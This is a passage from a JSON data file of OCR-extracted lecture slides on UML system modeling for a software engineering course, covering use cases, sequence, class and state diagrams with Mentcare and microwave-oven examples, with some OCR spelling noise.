| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_006.png", |
| "page_index": 186, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:11+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-187-0000": { |
| "id": "CO3001-chapter-6-slide-187-0000", |
| "text": "UML DIAGRAM TYPES Activity diagrams, which show the activities involved in Use case diagrams, which show the interactions Sequence diagrams, which show interactions between actors and the system and between system components. Class diagrams, which show the object classes in the system and the associations s between these classes. State diagrams, which show how the system reacts to internal and external events. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 7 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_007.png", |
| "page_index": 187, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:15+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-188-0000": { |
| "id": "CO3001-chapter-6-slide-188-0000", |
| "text": "EXTERNAL PERSPECTIVES BK Sep 2019 CHAPLER 5 SYSIEM MODELING 8 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_008.png", |
| "page_index": 188, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:18+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-189-0000": { |
| "id": "CO3001-chapter-6-slide-189-0000", |
| "text": "CONTEXT MODELS To illustrate the operational context of a system the boundaries they show what lies outside the system boundaries. Social and organisational concerns may affect the decision on where to position system boundaries. Architectural models show the system and its relationship with other systems. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 9 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_009.png", |
| "page_index": 189, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:22+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-190-0000": { |
| "id": "CO3001-chapter-6-slide-190-0000", |
| "text": "SYSTEM BOUNDARIES System boundaries are established to define what is inside and what is outside the system. They show other systems that are used or depend on the system being developed. BK Sep 2019 CHAPTER 5 SYSTEM MODELINC 10 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_010.png", |
| "page_index": 190, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:25+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-191-0000": { |
| "id": "CO3001-chapter-6-slide-191-0000", |
| "text": "THE CONTEXT OE THE MENTCARE SYSTEM <system> Patient record system <system> <system> Management Admissions reporting system system <system> Mentcare <system> <system> Prescription HC statistics system system <system> Appointments system BK Sep 2019 CHAPTER 5 SYSTEM MODELING 11 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_011.png", |
| "page_index": 191, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:30+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-192-0000": { |
| "id": "CO3001-chapter-6-slide-192-0000", |
| "text": "PROCESS PERSPECTIVE Context models simply show the other systems in the environment, not how the system being developed is used in that environment. developed is used in broader business processes. v UML activity diagrams may be used to define business process models. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 12 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_012.png", |
| "page_index": 192, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:34+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-193-0000": { |
| "id": "CO3001-chapter-6-slide-193-0000", |
| "text": "PROCESS MODEL OE INVOLUNTARY DETENTION Transfer to [not available] Confirm police station detention decision Find secure place Transfer to Inform [available] secure hospital [dangerous] social care Inform patient of Inform next rights of kin Record Update Admit to detention register hospital decision [not dangerous] <system> <system> Mentcare <system> Admissions Mentcare system our system BK Sep 2019 CHAPTER 5 SYSTEM MODELING 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_013.png", |
| "page_index": 193, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:40+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-194-0000": { |
| "id": "CO3001-chapter-6-slide-194-0000", |
| "text": "INTERACTION PERSPECTIVES BK Sep 2019 CHAPLER 5 SYSIEM MODELING 14 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_014.png", |
| "page_index": 194, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:43+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-195-0000": { |
| "id": "CO3001-chapter-6-slide-195-0000", |
| "text": "INTERACTION MODELS Modeling user interaction - helps to identify user requirements. Modeling system-to-system interaction highlights the communication problems that may arise. Modeling component interaction to understand if a proposed system structure is likely to deliver the required system pérformance and dependability. Use case diagrams and sequence diagrams may be used for interaction modeling. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 15 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_015.png", |
| "page_index": 195, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:47+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-196-0000": { |
| "id": "CO3001-chapter-6-slide-196-0000", |
| "text": "USE CASE MODELING Use cases were developed originally to support requirements elicitation and now incorporated into the UML. involves external interaction with a system. Actors in a use case may be people or other systems. Represented diagrammatically to provide an overview of the use case and in a more detailed textual form. http://tynerblain.com/blog/2007/01/22/how-to-write-good-use-case-names/ BK Sep 2019 CHAPTER 5 SYSTEM MODELING 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_016.png", |
| "page_index": 196, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:51+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-197-0000": { |
| "id": "CO3001-chapter-6-slide-197-0000", |
| "text": "TRANSEER-DATA USE CASE V A use case in the Mentcare system Transfer data Medical receptionist Patient record system BK Sep 2019 CHAPTER 5 SYSTEM MODELING 17 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_017.png", |
| "page_index": 197, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:54+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-198-0000": { |
| "id": "CO3001-chapter-6-slide-198-0000", |
| "text": "TABULAR DESCRIPTION OE THE TRANSEER DATA USE-CASE MHC-PMS: Transfer data Actors Medical receptionist, patient records system (PRS Description A receptionist may transfer data from the Mentcase system to a general patient record database that is maintained by a health authority. The information transferred may either be updated personal information (address, phone number, etc.) or a summary of the patient's diagnosis and treatment. Data Patient's personal information, treatment summary Stimulus User command issued by medical receptionist Response Confirmation that PRS has been updated Comments The receptionist must have appropriate security permissions to access the patient information and the PRs. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 18 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_018.png", |
| "page_index": 198, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:01+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-199-0000": { |
| "id": "CO3001-chapter-6-slide-199-0000", |
| "text": "USE CASES IN THE MENTCARE SYSTEM INVOLVING THE ROLE MEDICAL RECEPTIONIST Register patient Unregister patient T View patient info. Medical receptionist Transfer data Contact patient BK Sep 2019 CHAPTER 5 SYSTEM MODELING 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_019.png", |
| "page_index": 199, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:05+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-200-0000": { |
| "id": "CO3001-chapter-6-slide-200-0000", |
| "text": "Use Case ID: Use Case Name. Created By: Last Updated By: Date Created: Date Last Updated: Actors: Description: Trigger: Preconditions: Postconditions Normal Flow: 1. 2. USSSSOSSE Alternative Flows: Alternative 1: Alternative x. Exceptions Exception 1: Exception x: Notes and Issues. BK Sep 2019 NG 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_020.png", |
| "page_index": 200, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:10+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-201-0000": { |
| "id": "CO3001-chapter-6-slide-201-0000", |
| "text": "A USE-CASE EXAMPLE Use-case Search club events name Actor A member of the public (MP) Description The MP is searching for club events on a particular date. Preconditions The MP is at the university home page. Normal Flow 1. MP selects \"Search Events\" on MP home page 2. System presents a page with choice of dates for the current month 3. MP selects a date from among the choices 4. System presents a page with events for that date. giving time and club name 5. MP selects an event 6. System presents a page with details of that event, including location, description and cost Exceptions Exception 1: at step 4 4a. If there are no events for the selected date, System presents a page saying that there are no events for the selected date Alternative Alternative 1: at step 3 BK Sep 2019 CHAPTER 5 SYSTEM MODELING 21 TP.HCM Elows", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_021.png", |
| "page_index": 201, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:16+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-202-0000": { |
| "id": "CO3001-chapter-6-slide-202-0000", |
| "text": "MORE USE-CASE ANNOTATION <<lnclude>> Change Pin -checkATM card <lnclude> <<Extend>> Calculate Withdraw cash interbanking fee extension points ATM card holder Calculate interbanking fee 4 Pay by creditcaro Powered By Visual Paradigm Community Edition Credit card holder use-case extended point: when/where to extend actor generalization: similar to class generalization A - - <includes> - -> B: start at A, may do B, end at A A<- - <extend> - - B: start at A, may do B (at an extended point) and (may) end at B BK Sep 2019 CHAPTER 5 SYSTEM MODELING 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_022.png", |
| "page_index": 202, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:22+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-203-0000": { |
| "id": "CO3001-chapter-6-slide-203-0000", |
| "text": "SEQUENCE DIAGRAMS Sequence diagrams are part of the UML used to model the interactions between the actors and the objects within a system. interactions that take place during a particular use case or use case instance. - The objects and actors involved are listed along the top of the diagram, with a dotted line drawn vertically from these. http://creately.com/blog/diagrams/sequence-diagram-tutorial/ Interactions between objects are indicated.by,annotated BK Sep 2019 CHAPTZR 5 SYSTEMMODE TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_023.png", |
| "page_index": 203, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:26+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-204-0000": { |
| "id": "CO3001-chapter-6-slide-204-0000", |
| "text": "SEQUENCE DIAGRAM FOR VIEW PATIENT INFORMATION edicalReceptionist o P:Patientlnfo D:Mentcare-DB AS:Authorization Viewlnfo (PID) report (Info, PID UID) authorize (Info UID) authorization alt [authorization OK Patient info authorization fail] Error (no access BK Sep 2019 CHAPTER 5 SYSTEM MODELING 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_024.png", |
| "page_index": 204, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:31+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-205-0000": { |
| "id": "CO3001-chapter-6-slide-205-0000", |
| "text": "Medical Receptionist PRS o o PPatientlnfo DMentcare-DB AS:Authorization - login () ok alt [sendinfo] - updatelnfo() updatePRS(UID) authorize (TF, UID) authorization updatePID) update OK Message (OK) [sendSummary] UpdateSummary() summarize (uID) authorize (TF, UID authorization :summary update(PID) update OK Message (OK) - logout 0 - - BK Sep 2019 CHAPTER 5 SYSTEM MODELING 25 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_025.png", |
| "page_index": 205, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:37+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-206-0000": { |
| "id": "CO3001-chapter-6-slide-206-0000", |
| "text": "sd transferFunds /:ATM /Bank 1transferFunds 2:amount=getAmount 3:source=getAccount0 4destination=getAccount0 .. alt . . . [amount<source.balance] 5doTransfer 6:success [else] 7:faiure BK Sep 2019 CHAPTER 5 SYSTEM MODELING 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_026.png", |
| "page_index": 206, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:41+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-207-0000": { |
| "id": "CO3001-chapter-6-slide-207-0000", |
| "text": "IN-CLASS ACTIVITY V l Use-case and sequence diagrams for some examples Note: 1. If in seq. diagram A method1(xxx) --- B. ----> then \"method1\" is of A or B? BK Sep 2019 CHAPTER 5 SYSTEM MODELING 27 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_027.png", |
| "page_index": 207, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:45+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-208-0000": { |
| "id": "CO3001-chapter-6-slide-208-0000", |
| "text": "STRUCTURAL PERSPECTIVES BK Sep 2019 CHAPLER 5 SYSIEM MODELING 28 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_028.png", |
| "page_index": 208, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:48+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-209-0000": { |
| "id": "CO3001-chapter-6-slide-209-0000", |
| "text": "STRUCTURAL MODELS Display the organization of a system in terms of the components that make up that system and their relationships. Structural models may be static models: show the structure of the system design, or dynamic models: show the organization of the system when it is executing. Create structural models of a system when discussing and designing the system architecture. BK Sep 2019 CHAPTER 5 SYSTEM MODELINC 29 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_029.png", |
| "page_index": 209, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:52+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-210-0000": { |
| "id": "CO3001-chapter-6-slide-210-0000", |
| "text": "CLASS DIAGRAMS v Used when developing an object-oriented system model to show the classes in a system and the associations between these classes. An object class can be thought of as a general definition of one kind of system object. An association is a link between classes that indicates that there is some relationship between these classes. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 30 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_030.png", |
| "page_index": 210, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:55+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-211-0000": { |
| "id": "CO3001-chapter-6-slide-211-0000", |
| "text": "UML CLASSES AND ASSOCIATION 1 Patient Patient record BK Sep 2019 CHAPIER 5 SYSTEM MODELING 31 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_031.png", |
| "page_index": 211, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:54:59+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-212-0000": { |
| "id": "CO3001-chapter-6-slide-212-0000", |
| "text": "CLASSES AND ASSOCIATIONS IN THE MENTCARE Consultant 1 referred-to 1.* General Condition Patient referred-by practitioner diagnosed- with 1.* attends 1 prescribes Consultation Medication This is just Entity classes. 1.* There are more for prescribes Views/Boundaries and runs Treatment Business processes/Controls 1.4 1.* Hospital Doctor BK Sep 2019 CHAPTER 5 SYSTEM MODELING 32 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_032.png", |
| "page_index": 212, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:04+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-213-0000": { |
| "id": "CO3001-chapter-6-slide-213-0000", |
| "text": "THE CONSULTATION CLASS Consultation Doctors Date Time Clinic Reason Medication prescribed Treatment prescribed Voice notes Transcript New Prescribe () RecordNotes 0) Transcribe ) BK Sep 2019 CHAPTER 5 SYSTEM MODELING 33 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_033.png", |
| "page_index": 213, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:08+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-214-0000": { |
| "id": "CO3001-chapter-6-slide-214-0000", |
| "text": "GENERALIZATION Rather than learn the detailed characteristics of every entity, place these entities in more general classes (animals, cars, houses, etc.) and learn the characteristics of..these classes Hospital General doctor practitioner Consultant Team doctor Trainee Qualified doctor doctor BK Sep 2019 CHAPTER 5 SYSTEM MODELING 34 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_034.png", |
| "page_index": 214, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:12+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-215-0000": { |
| "id": "CO3001-chapter-6-slide-215-0000", |
| "text": "A GENERALIZATION HIERARCHY WITH ADDED DETAIL Doctor Name Phone # Email register () de-register Q Hospital doctor General practitioner Staff # Practice Pager # Address BK Sep 2019 CHAPTER 5 SYSTEM MODELING 35 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_035.png", |
| "page_index": 215, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:16+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-216-0000": { |
| "id": "CO3001-chapter-6-slide-216-0000", |
| "text": "OBJECT CLASS AGGREGATION MODELS how classes that are Aggregation models are similar to the part-of relationship in semantic data models. Patient record Patient Consultation BK Sep 2019 CHAPTER 5 SYSTEM MODELING 36 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_036.png", |
| "page_index": 216, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:20+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-217-0000": { |
| "id": "CO3001-chapter-6-slide-217-0000", |
| "text": "AGGREGATION VS COMPOSITION RELATIONSHIP Aggregation: specifies a whole/part relationship between the aggregate (whole) and component part (the component may survive the aggregate object) Composition: composite object takes ownership of the component(s) Building Room room bld name: String room_name: String building BK Sep 2019 CHAPTER 5 SYSTEM MODELING 37 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_037.png", |
| "page_index": 217, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:24+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-218-0000": { |
| "id": "CO3001-chapter-6-slide-218-0000", |
| "text": "DATABASE DIAGRAMS VS CLASS DIAGRAMS Entity/Relation/Table vs. class Entity/Relation/Table relationship vs class relationship When and why we e need Only database Only classes Both BK Sep 2019 CHAPTER 5 SYSTEM MODELING 38 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_038.png", |
| "page_index": 218, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:28+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-219-0000": { |
| "id": "CO3001-chapter-6-slide-219-0000", |
| "text": "BEHAVIORAL PERSPECTIVES BK Sep 2019 CHAPLER 5 SYSIEM MODELING 39 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_039.png", |
| "page_index": 219, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:31+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-220-0000": { |
| "id": "CO3001-chapter-6-slide-220-0000", |
| "text": "BEHAVIORAL MODELS Behavioral models are models of the dynamic behavior of a system as it is executing. They show what happens or what is supposed to happen when a system responds to a stimulus from its environment. Stimul Data: Some data arrives that has to be processed by the system. Events: Some event happens that triggers system processing. Events may have associated data, although BK Sep 2019 this is not always the case. CHAPTER 5 SYSTEM MODELING 40 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_040.png", |
| "page_index": 220, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:35+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-221-0000": { |
| "id": "CO3001-chapter-6-slide-221-0000", |
| "text": "DATA-DRIVEN MODELING Many business systems are data-processing systems that are primarily driven by data. They are controlled by the data input to the system, with relatively little external event processing. Data-driven models show the sequence of actions involved in processing input data and generating an associated output. Data-Flow-Diagrams ( DFD) ? Not UML BK Sep 2019 CHAPTER 5 SYSTEM MODELING 41 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_041.png", |
| "page_index": 221, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:40+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-222-0000": { |
| "id": "CO3001-chapter-6-slide-222-0000", |
| "text": "AN ACTIVITY MODEL OF THE INSULIN PUMP'S OPERATION Blood sugar Sensor Compute Get sensor Blood sugar value data sensor sugar level level IF Calculate insulin delivery Calculate W Insulin Control Pump control Insulin pump pump pump commands requirement commands BK Sep 2019 CHAPTER 5 SYSTEM MODELING 42 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_042.png", |
| "page_index": 222, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:44+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-223-0000": { |
| "id": "CO3001-chapter-6-slide-223-0000", |
| "text": "ORDER PROCESSING - AN ALTERNATIVE TO REPRESENT BEHAVIORS Purchase officer Supplier <datastorey :Order Budget Orders Fillin O) Validate ( [validation ok] Update (amount Save () Send () BK Sep 2019 CHAPTER 5 SYSTEM MODELING 43 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_043.png", |
| "page_index": 223, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:49+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-224-0000": { |
| "id": "CO3001-chapter-6-slide-224-0000", |
| "text": "EVENT-DRIVEN MODELING Real-time systems are often event-driven, with minimal data processing. For example, a landline phone switching system responds to events such as receiver off hook' by generating a dial tone. Event-driven modeling shows s how a system responds to external and internal events. It is based on the assumption that a system has a finite number of states and that events (stimuli) may cause a transition from one state to another. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 44 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_044.png", |
| "page_index": 224, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:55:54+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-225-0000": { |
| "id": "CO3001-chapter-6-slide-225-0000", |
| "text": "STATE DIAGRAM OF A MICROWAVE OVEN Full Full power power do: set power = 600 timer Waiting Number do: display 1F Full Operation Set time time power do: operate do: get number exit: set time oven Half Half power Door power Cancel Timer closed Start Door open Door Waiting Half power Enabled open do: set power Door do: display do: display = 300 closed 'Ready' time Disabled do: display 'Waiting BK Sep 2019 CHAPTER 5 SYSTEM MODELING 45 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_045.png", |
| "page_index": 225, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:56:00+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-226-0000": { |
| "id": "CO3001-chapter-6-slide-226-0000", |
| "text": "MICROWAVE OVEN OPERATION Superstate encapsulates a number of separate states. - looks like a single state on a high-level model expanded to show more detail on a separate diagram. Operation Time Checking OK Cook do: check do: run status generator Turntable Emitter Timeout fault fault Done Alarm do: buzzer on do: display for 5 secs event Door open Cancel Disabled Waiting BK Sep 2019 CHAPTER 5 SYSTEM MODELING 46 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
